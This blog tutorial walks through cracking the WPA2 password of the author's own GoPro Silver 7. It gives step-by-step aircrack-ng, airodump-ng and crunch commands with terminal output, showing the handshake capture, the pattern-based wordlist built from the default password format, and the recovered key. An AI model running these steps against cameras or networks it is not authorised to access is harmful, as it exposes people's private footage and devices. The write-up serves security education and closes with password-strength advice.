How to Hack a GoPro
<tt><code><strong>[UPDATED] & [This post did good on Reddit 🎉 </strong><strong>] </strong></code></tt><tt><a href="https://www.reddit.com/r/Hacking_Tutorials/comments/jv3tow/hacking_gopros_builtin_access_point_with_kali/" target="_blank">Reddit Post</a></tt>
Welcome back Sudorealmers on a cool and fresh Adventure inside the Hacking Realm!
In this article, I am going to give to you the entire process of Hacking a GoPro Silver 7 (Which I own). Why? Why not? I say.
Every hacking adventure is an adventure full of practice and fun techniques in action, every time you try to hack or crack a device you get to learn something new and gain only pure XP (Experience Points) on the matter.
The History behind the Hack
It was a plain classic Friday, and I was on a hacker's high, I just wanted to find something interesting to do, I start gazing around my room when suddenly out of nowhere there it was, my GoPro Silver 7, standing alone exactly at the same place it was 4 months ago. It was waiting for me, like a loyal Labrador Retriever... Quiet touching... Quiet touching indeed... And then the idea hit me! I am gonna hack this shit.
I grab my Wireless Adapter I fire up my laptop, open up my Kali virtual box, then I grab my phone, start scrolling down Reddit, see a cute puppy, then I get on a conversation about the last season of Silicon Valley, 2 hours passed by like a breeze and then I remembered.
Wasn't I suppose to be hacking My GoPro? hehe... 😂
So I got back to Work!
TL;DR: I am going to be cracking my GoPro's built-in Wireless Network and find the Password with the help of:
- Kali Linux Virtual Machine Tp-Link (TL-WN722N) Wireless Adapter or Alfa AWUS036NHA High Gain Wireless Adapter
- Aircrack-ng Cracking Suite (Aircrack in movies)
- Crunch (Pre-installed on Kali Wordlist Generator)
Disclaimer: All the Hacking in this Article took place on devices that I own. Do not hack other people unless you have their WRITTEN Permissions! Ok, that is out of the way now.
Like it or not when you embark on a new hacking adventure you always need to scribble down some notes first.
Whatever you may believe that it can be proven useful along the way.
- GoPro Model: Silver 7 GoPro
- Name: StantzGoPro GoPro
- Password Type: WPA2 GoPro
- Password: myGoPro123
And then it hit me. My password is weaker than freaking SpongeBob! But why? I always put super complicated passwords that even I do not remember. Why did I commit this Security crime? The answer is simple, boredom, and ignorance. 😁
So I reset the network settings and the new info I got was:
- GoPro Default Name: GP24514525
- GoPro Default Password: Zp2-4Vy-cBp
Ok, that's a random password but that dash (-) on the 4th and 8th password slot may not be that random. So I reset the wireless options 29 more times!
- GoPro Silver 7 has a random wpa2 generated password on every reset with a form of 11 characters with mixed alphanumerics and ALWAYS has dashes on the 4th and 8th slot. @@@-@@@-@@@ ⬅ Like This.
- The Dash NEVER changes position.
- There was no occurrence of two numbers side by side (22g) ⬅ This never happened, (63f) ⬅ This never happened, (281) ⬅ This never happened.
- There was no occurrence of three same letters side by side. (mmm) ⬅ This never happened.
That is a pretty scary password still, even if you put all the rules in the equation! But where there is a pattern, there is a case.
Did you know that you can rent an Nvidia Tesla K80 — a GPU with 4992 cores from AWS for 0.90$/hour? You can run Hashcat on that thing and try 3 trillion hashes per hour.
But you know what? I know that this Default GoPro password is strong and I still changed it! Do you want to know why? Because I have one camera but many other devices, I want the password to be an easy one to remember as I want to put it on my phone, and on my Laptop, and on my Desktop, and on my Smart Fridge, I don't know.
Imagine having to put Zp2-4Vy-cBp every time. And also! Who would hack my GoPro man? That is so random! So why the strong password? I bet that this was my train of thought back then when I bought it and set it up for the first time.
Ok, I think that's enough Recon for this hack. Let's proceed to network scanning to Find our target.
2. Locking Network Target with Airckrack-ng and grabbing 4-way handshake
That's the cool part of the hacking adventure! Let's fire up the good ol' Kali Linux VM and connect the Wireless Card!
I use this baby for this hack: Tp-Link (TL-WN722N) Wireless Adapter.
When everything is connected run iwconfig on a terminal for a status check.
root@kali:~# iwconfig lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off
If you get this result then everything is all fine and dandy as the British say. (I googled that).
Now the wireless card mode needs to change from managed to monitor. This is a crucial part. I bought this wireless card because I knew that it could work like a champ! But now TP-LINK has updated the versions and some new TL-WN722N cards don't work so...
You should buy an Alpha Card just to be sure. Alfa AWUS036NH 2000mW,
This one is my favorite because it just works like a charm!
Putting the card to monitor mode:
root@kali:~# airmon-ng start wlan0 Found 2 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 476 NetworkManager 941 wpa_supplicant PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)
Now by running iwconfig again you should see that your once wlan0 wireless adapter is now called wlan0moooooon!
If you caught the reference! You are my friend and I Love you! Not even kidding!
Next Step: Sniffing out for networks with Airodump-ng
root@kali:~# airodump-ng wlan0mon CH 2 ][ Elapsed: 3 mins ][ 2020-11-12 15:51 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 06:41:69:94:C5:8D -26 13 0 0 0 11 65 WPA2 CCMP PSK GP24514525 **:**:**:**:**:** -87 2 0 0 1 270 WPA2 CCMP PSK C******-**2591 **:**:**:**:**:** -46 13 211 0 2 270 WPA CCMP PSK H*****n **:**:**:**:**:** -59 6 0 0 1 130 WPA2 CCMP PSK C*****A **:**:**:**:**:** -66 7 9 0 11 130 WPA2 CCMP PSK *****le* **:**:**:**:**:** -77 3 1 0 1 65 WPA2 CCMP PSK CY*****B **:**:**:**:**:** -80 2 0 0 7 270 OPN CO*******n **:**:**:**:**:** -80 3 0 0 7 270 WPA2 CCMP PSK ******4403001 **:**:**:**:**:** -80 4 0 0 8 130 WPA2 CCMP PSK W*****522 **:**:**:**:**:** -78 3 0 0 7 130 WPA2 CCMP PSK ****D_BF2EF0 **:**:**:**:**:** -88 4 0 0 13 130 WPA2 CCMP PSK ****CVDW-982
These results represent all the networks that surround my wireless card, and I am only interested in the first one, which represents the Wi-Fi Network of my GoPro.
[UPDATE]: I put stars on the BSSIDs as the greatest of Lads of Reddit noted that People who are good with OSINT Techniques can locate people with Wigle.
HOW COOL AND SCARY IS THAT. 🐱💻🐱👤
If I hadn't reset my GoPro then under the ESSID column you would see a StantzGoPro. A dead give away of the kind of the device.
A bit of detail here:
- BSSID: 06:41:69:94:C5:8D
- CH (channel): 11
- ENC: WPA2
These few details you should always write down. They keep on finding their way on future commands, like the next one:
airodump-ng --bssid 06:41:69:94:C5:8D -c 11 wlan0mon -w Desktop/WPA_Hacks/goPro/goPro
With this command we order our wireless card to only listen to a specific channel and to a specific device, and also write down every result it may capture on Desktop/WPA_Hacks/goPro/gopro.
By doing this we are trying to capture the 4-Way Handshake between a device and the GoPro WiFi.
root@kali:~# airodump-ng --bssid 06:41:69:94:C5:8D -c 11 wlan0mon -w Desktop/WPA_Hacks/goPro/goPro CH 11 ][ Elapsed: 48 s ][ 2020-11-12 16:00 ][ WPA handshake: 06:41:69:94:C5:8D BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 06:41:69:94:C5:8D -20 36 77 4 0 11 65 WPA2 CCMP PSK GP24514525 BSSID STATION PWR Rate Lost Frames Notes Probes 06:41:69:94:C5:8D 42:E7:EC:D6:05:DE -14 1e- 1e 0 5724 EAPOL GP24514525
To capture a Handshake a user has to be online and interacting with the camera, which is really possible because if you find a GoPro Network somewhere around, it means that someone has to be either connected or about to connect.
If a GoPro is off, then its Wi-Fi is not broadcasting. Simple as that.
Once you capture the Handshake the only thing that remains is the Handshake cracking!
3. Carving the Dictionary
Now that we have the password hidden and encrypted we need a smart Dictionary to find the Password.
We'll be using the tool Crunch to create a smart Dictionary.
Crunch is a Wordlist generator tool that is coming pre-installed with Kali Linux out of the box. Mastering this tool is of the essence when you wish to crack a Hashed Password.
You could always go the Bruteforcing way but you should always leave that technique as a hail mary.
Based on what I realized about the GoPro password I could Generate a Wordlist that would most definitely contain the password with this command:
root@kali:~# crunch 11 11 -t @@@-@@@-@@@ -d 2@ -d 1% -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o Desktop/wordlist.txt
This command tells crunch to:
- 11 11: Create an Eleven character long string.
- -t: Specifies a pattern, eg: @@god@@@@ where only the @'s, ,'s, %'s, and ^'s will change. So everything except the ( - ) will change.
- -d 2@ -d 1%: Limit the number of duplication you want to get in your password. Ex, Let aa happen but no aaa, and 11 will never happen.
- -f: Using a charset for the generated password. Because we want the possible characters to be both lowercase and Uppercase and we also want numbers in there then we have to go with mixalpha-numeric.
- -o: Save the output to wordlist.txt on the Desktop directory.
These parameters with crunch would create a Dictionary containing our target's password. But there is a slight, little, tiny problem...
root@kali:~# crunch 11 11 -t @@@-@@@-@@@ -d 2@ -d 1% -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o Desktop/wordlist.txt Crunch will now generate the following amount of data: 162318293407261152 bytes 154798787505 MB 151170690 GB 147627 TB 144 PB Crunch will now generate the following number of lines: 13526524450605096
The output would be H U G E. 🤯
But for the sake of the Proof of Concept (PoC) let's demonstrate the Dictionary attack.
Note to the future: If you are watching this in 2030, 144 PB was a lot of Data back in the Covid Crisis! So Good for you! You can crack wpa2 passwords easily! Congrats 🎉🥂
If we go through with Crunch we would eventually have a list like the following in our hands.
zp2-4vy-cBp 2r6-cnj-Xky w4f-ceb-DC2 gbs-24d-cas 23H-wec-dv3 P6C-PRt-hrK Yn9-Cr6-Ybm s5p-WWN-6n2 HSM-v4Q-khn CCW-VkJ-FuJ Pub-bMw-chn 9vm-WJN-Vf3 9vm-wjn-Vf3 9vm-wJn-Vf3 9vm-wjN-Vf3 9vm-wJN-Vf3 9vm-Wjn-Vf3 wrj-hD5-4hZ k6Z-wjz-mtS 3nk-Ncj-cf9 Rnk-PRt-h1k
Let's use this Dictionary to prove a point.
The Dictionary attack The Aircrack-ng command for the attack and the results are:
root@kali:~# aircrack-ng Desktop/WPA_Hacks/goPro/goPro-01.cap -w Desktop/gopro.txt Reading packets, please wait... Opening Desktop/WPA_Hacks/goPro/goPro-01.cap Read 20985 packets. # BSSID ESSID Encryption 1 06:41:69:94:C5:8D GP24514525 WPA (1 handshake) Choosing first network as target. Reading packets, please wait... Opening Desktop/WPA_Hacks/goPro/goPro-01.cap Read 20985 packets. 1 potential targets Aircrack-ng 1.6 [00:00:00] 19/21 keys tested (940.87 k/s) Time left: 0 seconds 90.48% KEY FOUND! [ 9vm-WJN-Vf3 ] Master Key : DD 1D A3 87 9C D5 DF A5 A9 77 D5 EC 35 D4 C6 C3 03 1D F9 4E 6E 03 90 92 41 40 BA 4E FE 2A 92 72 Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : C1 BF EF A3 22 02 9F 4B 19 4C 1B 9C B6 0D EA 1A
Dope feeling man. Dope the least.
4. Bonus Wordlist creation
Ok, everything went perfectly thus far. But what would have happened if instead of GP24514525 the name was StantzGoPro?
That takes us to an entirely different way of approaching this Dictionary thing.
What I am thinking is "Since he has changed the name, there is NO way in hell that he left that ugly password as default. NO way!
Here is a thought, he didn't entirely change the name. He kept the word "GoPro" inside so he may use it again in his password. and GoPro is 5 letters, and an acceptable wpa2 password is 8 characters. Good.
Let's build a cool Dictionary to hack StantzGoPro
crunch 14 14 -t StantzGoPro%%% goPro-simple-wl.txt
This command will create for you a list starting from StantzGoPro000 and finish at StantzGoPro999.
Pretty simple but powerful if you work with it more. As I said earlier Crunch is a must. Password cracking is not easy, but is Hacking easy? 🤓
Cracking a GoPro password is totally possible, and you can probably understand the danger and how it can expose all the images and 4k videos stored in the camera to people with malicious intent. Keep your Passwords strong. And store them in a password manager like LastPass. It will make your life easier and hackers' lives a lot more difficult.
Password cracking is an art, it needs attention to detail, a critical way of thinking, and most definitely some good, old fashioned trial and error sprinkled with some dazzling patience.
There are many roads to take and many more books to read. I created this Article - Tutorial - PoC or however you like to call it just to give out something new to the community. I will create a more in-depth article about password cracking and much more real-life hacking PoCs like this one including Phishing, more Wi-Fi hacking, and pretty much whatever spikes my interest at that point. If what you just read feels a bit... advanced, you should also take a look at my other articles:
They are a bit more thorough and generic, and you can apply the attacks on your Router. If you love what you just read then you will also love this book:
It left me in awe, and made me thursty and wanting to learn more about the science of cryptography and code-breaking.
⬆🎉🍾 How to Hack a GoPro did well on Reddit take a look
Support this Nerd
My name is Thanos, my hacker name is d3ad R1nger and I am the only coder behind Sudorealm and an Author. I hack for fun and because is what I really loved as a kid. If you like any of my posts let me know.
You can find me on Twitter @DevThanos. Also, you can show your support by Becoming a Member of the nerdiest realm of the internet and Follow the Hacking Category or leave a 👍 on Sudorealm on Facebook
Oh, last but not least! If you are one of those super cool guys that really like to hype people up with crazy acts of kindness And keep the Hacking Spirit awake.
That is if you find my articles interesting and want more! (a really cold espresso is what kickstarts my whole day)
💸 We also provide Cool things for you, related to our articles in the Affiliate Section take a look! That's it for now! I really want to say thank you again I'll keep these posts coming. Happy hacking, and stay out of trouble! 🤓😏